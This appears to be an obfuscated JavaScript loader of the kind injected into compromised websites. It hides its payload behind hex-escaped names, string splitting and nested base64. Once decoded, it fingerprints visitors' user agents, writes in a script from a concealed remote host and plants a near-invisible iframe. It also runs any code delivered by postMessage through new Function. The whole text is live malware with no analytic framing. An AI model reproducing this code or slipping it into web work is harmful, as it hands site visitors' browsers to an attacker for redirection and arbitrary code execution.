eval("\x77\x69\x6e\x64\x6f\x77")["\x4e\x63\x74\x68\x4f"]=function(e){var li ='ABCDEFGHIJKLMNOPQR'+'STUVWXYZabcd'+'efghijklmnopqrs'+'tuvwxyz012345678'+''+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x63\x74\x6a"]=function(){eval(NcthO("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoTmN0aE8odS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX05jdGhPTmN0aE89JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoTmN0aE8oIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKE5jdGhPKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YoTmN0aE8oJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfTmN0aE9OY3RoTyk7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbTmN0aE8oIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSd1SScrJycrJ09HVScrJ2gnKycnKydwJysnaicrJyc7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7d1snX19rJysnZGEnKyducScrJ29iJysnal8zNTYnXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0yLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnImFsJysnbG93dHJhbicrJ3NwYScrJ3JlbmN5IHNyJysnYz0iJyt6KyciPjwvaScrJ2ZyJysnYScrJ21lPicpO3dbImFkIisiZEV2IisiZW50TCIrImlzdCIrImVuZXIiXSgibSIrImVzcyIrImFnZSIsZnVuY3Rpb24oZSl7aWYoZS5kYXRhW3IrX2lkXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKE5jdGhPKGUuZGF0YVtyK19pZF0ucmVwbGFjZShuZXcgUmVnRXhwKHIsJ2cnKSwnJykpKSgpO319KTt9fWVsc2V7ZG9jdW1lbnQud3JpdGUoX05jdGhPTmN0aE8pO319KSgnMUknKydUVCcrJ0wyVScrJycrJ3pNdCcrJycrJ01tUicrJ3knKycnKydVeVknKycnKyd1UicrJ21kJysnJysndScrJycrJ2RHJysnY0cnKycnKydKVFQnKydKeicrJ1FEJysnTndJJysnJysnVFQnKydRelUnKydDY3YnKycnKydSbkwnKycnKycxQVQnKydUJysnJysnWnInKycnKydkbWInKydwJysnJysneCcrJycrJ20nKycnKydMeicrJycrJ1prJysnTWxZJysnJysnaycrJycrJ01sRScrJycrJzBNJysnJysnbCcrJycrJ01IJysnJysnYycrJycrJzAnKydSJysnJysnSGEnKycnKycnLCd1SScrJycrJ09HVScrJ2gnKycnKydwJysnaicrJycsd2luZG93LGRvY3VtZW50LDAsJ1QnKQ=="));}